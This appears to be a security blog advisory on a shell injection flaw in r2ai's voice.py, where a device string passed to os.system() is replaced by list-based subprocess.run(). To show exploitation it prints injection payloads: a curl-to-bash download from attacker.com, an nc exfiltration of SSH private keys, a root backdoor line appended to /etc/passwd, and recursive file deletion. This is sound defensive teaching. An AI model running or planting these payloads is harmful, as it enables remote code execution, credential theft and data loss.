Back to Blog
critical SEVERITY7 min read

Shell Injection via os.system(): How a Single Line of Code Can Compromise Your System

A critical OS command injection vulnerability (CWE-78) was discovered and patched in `voice.py`, where user-controlled input was interpolated directly into a shell command string passed to `os.system()`. An attacker who could influence the `device` variable — through a config file, environment variable, or any external input — could execute arbitrary system commands with the full privileges of the running process. The fix replaces the dangerous `os.system()` calls with Python's `subprocess.run()

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published May 28, 2026•Reviewed June 3, 2026

Answer Summary

This is an OS command injection vulnerability (CWE-78) in Python's `voice.py`, where the `device` variable — potentially attacker-controlled through a config file or environment variable — was interpolated directly into a shell command string passed to `os.system()`. The fix replaces all dangerous `os.system()` calls with `subprocess.run()` using a list-based argument form, which bypasses the shell entirely and neutralizes the injection vector. Developers should never pass user-influenced strings to `os.system()` or any shell-invoking API without strict validation and argument list separation.

Vulnerability at a Glance

cweCWE-78
fixReplaced `os.system()` with `subprocess.run()` using a list-based argument form to bypass shell interpretation
riskArbitrary system command execution with process-level privileges
languagePython
root causeUser-controlled `device` variable interpolated into a shell command string passed to `os.system()`
vulnerabilityOS Command Injection

Introduction

It's one of the most deceptively simple mistakes in Python programming: passing a string built from external input directly to os.system(). It looks harmless. It works perfectly during development. And under the right conditions, it hands an attacker the keys to your entire system.

This post breaks down a critical OS command injection vulnerability (CWE-78) discovered in Attic/py/r2ai/voice.py, explains how it could be exploited, and walks through the clean, modern fix that eliminates the risk entirely.

Whether you're a seasoned systems programmer or just getting started with Python security, this is a pattern you'll want to recognize immediately.


The Vulnerability Explained

What Is OS Command Injection?

OS command injection — catalogued as CWE-78: Improper Neutralization of Special Elements used in an OS Command — occurs when an application constructs a shell command using data it doesn't fully control, then passes that string to a shell for execution.

The shell is a powerful interpreter. It understands metacharacters like ;, &&, |, $(), and backticks. If any of those characters sneak into your command string, the shell will happily execute whatever follows them — regardless of your intent.

The Vulnerable Code

Here's the code that triggered the critical finding:

# VULNERABLE - Do not use this pattern
os.system("rm -f .audiomsg.wav")
rc = os.system(f"ffmpeg -f avfoundation -t 5 -i '{device}' .audiomsg.wav > /dev/null 2>&1")

The device variable is interpolated directly into an f-string, which is then passed as a single shell command string to os.system(). The single quotes around '{device}' might look like protection — but they're not. A single quote in the device value itself breaks out of that quoting context entirely.

How Could It Be Exploited?

The exploitability depends on where device comes from. In an AI assistant tool like r2ai, device likely originates from:

  • A configuration file read at startup
  • An environment variable
  • User input provided during setup or runtime

If an attacker can influence any of these sources, the attack is straightforward.

Attack Scenario: Malicious Configuration File

Imagine a user downloads a shared r2ai configuration file (a common workflow in AI tooling communities). That config file sets the audio device to:

' ; curl -s https://attacker.com/payload.sh | bash ; echo '

When voice.py runs, the shell receives:

ffmpeg -f avfoundation -t 5 -i '' ; curl -s https://attacker.com/payload.sh | bash ; echo '' .audiomsg.wav > /dev/null 2>&1

The shell dutifully executes three commands:
1. ffmpeg (fails harmlessly)
2. curl ... | bash — downloads and executes arbitrary code
3. echo (cleans up the command line)

The r2ai process's output looks normal. The user sees a microphone error. Meanwhile, a reverse shell or data exfiltration script runs silently in the background.

Other Injection Payloads

The attack surface is broad. Other examples of malicious device values:

# Exfiltrate SSH keys
' && cat ~/.ssh/id_rsa | nc attacker.com 4444 && echo '

# Create a backdoor user
' ; echo "backdoor:x:0:0::/root:/bin/bash" >> /etc/passwd ; echo '

# Ransomware-style destruction
' ; find ~ -name "*.py" -delete ; echo '

Real-World Impact

The severity here is critical because:

  • No authentication required — if the attacker controls the config file or environment, they're already in
  • Full process privileges — commands run as whatever user launched r2ai
  • Silent execution — stdout and stderr are redirected to /dev/null, hiding all evidence
  • Broad attack surface — config files, env vars, and user input are all common vectors in AI tooling

The Fix

What Changed

The fix replaces both os.system() calls with safer alternatives:

Before (vulnerable):

os.system("rm -f .audiomsg.wav")
rc = os.system(f"ffmpeg -f avfoundation -t 5 -i '{device}' .audiomsg.wav > /dev/null 2>&1")

After (secure):

try:
    os.remove(".audiomsg.wav")
except OSError:
    pass

result = subprocess.run(
    ["ffmpeg", "-f", "avfoundation", "-t", "5", "-i", device, ".audiomsg.wav"],
    stdout=subprocess.DEVNULL,
    stderr=subprocess.DEVNULL
)
rc = result.returncode

Why This Fix Works

1. Arguments as a List — No Shell Involved

The most important change is passing a list of strings to subprocess.run() instead of a single command string.

When you pass a list, Python uses execvp() (or its Windows equivalent) to launch the process directly, bypassing the shell entirely. There is no shell to interpret metacharacters. The device value is passed as a literal argument to ffmpeg — nothing more, nothing less.

# Shell IS invoked — dangerous with untrusted input
os.system(f"ffmpeg ... -i '{device}' ...")

# Shell is NOT invoked — device is just a string argument
subprocess.run(["ffmpeg", ..., "-i", device, ...])

Even if device contains ;, &&, |, or any other shell metacharacter, ffmpeg receives it as a literal filename string. Injection is impossible.

2. os.remove() Replaces os.system("rm -f ...")

The rm -f .audiomsg.wav call was also replaced with os.remove() wrapped in a try/except OSError. This is:

  • Cross-platform (works on Windows, where rm doesn't exist)
  • Shell-free (no subprocess spawned at all)
  • Pythonic (uses the standard library as intended)
  • Safe (the OSError catch handles the "file doesn't exist" case that -f previously suppressed)

3. Output Redirection Done Properly

The original code used shell redirection (> /dev/null 2>&1) to suppress ffmpeg's output. The fix uses subprocess.DEVNULL, which achieves the same result without a shell:

result = subprocess.run(
    [...],
    stdout=subprocess.DEVNULL,  # Replaces > /dev/null
    stderr=subprocess.DEVNULL   # Replaces 2>&1
)

4. Return Code Handling Preserved

The fix correctly captures the return code via result.returncode, maintaining the existing error-handling logic downstream.


Conclusion

A single f-string interpolation into os.system() — a pattern that appears in thousands of Python scripts across the internet — was all it took to create a critical command injection vulnerability. The fix required fewer lines than the original code and is cleaner, more Pythonic, and cross-platform.

The key takeaways:

  1. os.system() with dynamic input is almost always wrong. Use subprocess.run() with a list.
  2. Shell quoting is not a reliable defense. Characters like ' can break out of quoted contexts.
  3. Static analysis tools like Bandit catch this instantly. Add them to your CI pipeline.
  4. The fix is simple and has zero performance cost. There's no reason not to do it right.

Security vulnerabilities in developer tooling — especially AI assistants that users trust with system access — can have outsized impact. A compromised r2ai instance could exfiltrate code, credentials, or conversation history. Taking five minutes to use subprocess.run() correctly is one of the highest-ROI security investments you can make.

Write code as if every external value is malicious. Because sometimes, it is.


This vulnerability was identified and patched by OrbisAI Security. Automated security scanning and remediation helps teams catch critical issues before they reach production.

Prevention and further reading

Related Articles

medium

path-to-regexp 0.1.12 DoS: Catastrophic Backtracking on Malformed URL

path-to-regexp version 0.1.12 contains a regular expression engine vulnerability where maliciously crafted URL parameters trigger exponential backtracking, causing CPU exhaustion and service unavailability. Upgrading to version 0.1.13 eliminates the vulnerable pattern from the parsing logic.

critical

CVE-2026-59873: node-tar 7.5.11 DoS via Crafted Gzip Bomb

node-tar versions 7.5.11 through 7.5.18 are vulnerable to a denial-of-service attack through maliciously crafted gzip archives that decompress to disproportionately large sizes. An attacker can exploit this to exhaust memory and CPU resources by submitting a small, highly compressed archive that expands beyond configured limits during extraction.

high

MapManager.get() Race Condition Duplicates API Requests

The MapManager's `get(mapUid, cache)` method used a check-then-act pattern that permitted multiple concurrent requests to pass the cache miss check simultaneously, triggering redundant API calls and risking cache corruption. The fix introduces a `_pending` promise map to deduplicate in-flight fetches for identical map UIDs.

critical

Lampa Desktop Auto-Update Heuristic Bypass: Execution of Unverified

Lampa Desktop's auto-update mechanism downloaded JavaScript and CSS from `raw.githubusercontent.com` using only heuristic validation—file size thresholds and string pattern matching—that attackers could trivially satisfy. The fix introduces cryptographic integrity verification by cross-referencing Git blob hashes from the GitHub Contents API, ensuring downloaded code matches the repository's authoritative state before execution.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The

high

requestInput() Type Confusion: NaN and Object Bypass in JavaScript

The `requestInput()` utility function lacked validation on its `type` parameter and failed to handle `NaN` results from float conversions, creating a type confusion weakness. An attacker could supply malformed inputs that propagate unhandled `NaN` values or unexpected object types through the type system. The fix adds explicit guards against `NaN` type parameters and rejects non-primitive type values.